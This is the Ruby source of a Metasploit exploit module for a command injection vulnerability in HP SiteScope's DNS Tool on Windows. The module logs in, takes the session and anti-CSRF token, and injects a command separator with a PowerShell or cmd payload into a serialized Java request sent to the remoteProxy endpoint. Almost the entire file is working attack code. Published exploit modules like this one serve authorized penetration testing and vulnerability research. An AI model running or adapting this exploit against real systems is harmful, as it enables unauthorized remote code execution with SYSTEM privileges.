## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => 'HP SiteScope DNS Tool Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26 and 11.30). The vulnerability exists in the DNS Tool allowing an attacker to execute arbitrary commands in the context of the service. By default, HP SiteScope installs and runs as SYSTEM in Windows and does not require authentication. This vulnerability only exists on the Windows version. The Linux version is unaffected. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author 'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery 'Juan Vazquez' # help with MSF module ], 'References' => [ ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'], ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site ], 'Platform' => 'win', 'Targets' => [ [ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher', { 'Arch' => [ARCH_X86_64, ARCH_X86] } ], [ 'HP SiteScope 11.30 / CMD', { 'Arch' => [ARCH_CMD] } ] ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 9 2015')) register_options( [ Opt::RPORT(8080), OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']), OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def exploit initial_session = get_initial_session_id redirect = authenticate(initial_session) session = get_authenticated_session_id(initial_session, redirect) csrf_token = get_csrf_token(session) print_status("#{peer} - Executing payload") random_mark = Rex::Text.rand_text_alpha(5 + rand(5)) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'), 'method' => 'POST', 'vars_get' => { 'OWASP_CSRFTOKEN' => csrf_token }, 'cookie' => session, 'ctype' => 'application/octet- serializable object', 'data' => build_stream(random_mark) }, 5) if res && res.code == 200 && res.body res_io = StringIO.new(res.body.to_s) res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io) return if res_stream.nil? show = false res_stream.references.each do |ref| if ref.class == Rex::Java::Serialization::Model::Utf && show print_good(ref.contents) next elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark) show = true next end end end end def get_initial_session_id print_status("#{peer} - Retrieving an initial JSESSIONID...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'), 'method' => 'POST' ) if res and res.code == 200 and res.get_cookies.include?('JSESSIONID') session_id = res.get_cookies else fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed") end session_id end def authenticate(session_id) print_status("#{peer} - Authenticating on HP SiteScope Configuration...") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'), 'method' => 'POST', 'cookie' => session_id, 'vars_post' => { 'j_username' => datastore['SITE_SCOPE_USER'], 'j_password' => datastore['SITE_SCOPE_PASSWORD'] } }) if res && res.code == 302 redirect = URI(res.headers['Location']).path else fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") end redirect end def get_authenticated_session_id(session_id, redirect) print_status("#{peer} - Following redirection to finish authentication...") res = send_request_cgi( { 'uri' => redirect, 'method' => 'GET', 'cookie' => session_id }) if res && res.code == 200 && res.get_cookies.include?('JSESSIONID') auth_session = res.get_cookies else fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") end auth_session end def get_csrf_token(session) print_status("#{peer} - Getting anti-CSRF token...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'), 'cookie' => session ) if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/ csrf_token = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token") end csrf_token end def build_stream(random_mark) site = "google.com & echo #{random_mark} & " if target.arch.include?('cmd') command = payload.encoded else command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) end file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw') f = File.new(file, 'rb') stream = Rex::Java::Serialization::Model::Stream.decode(f) f.close dns_param = stream.references[0x44] dns_param.contents = site + command dns_param.length = dns_param.contents.length stream.encode end end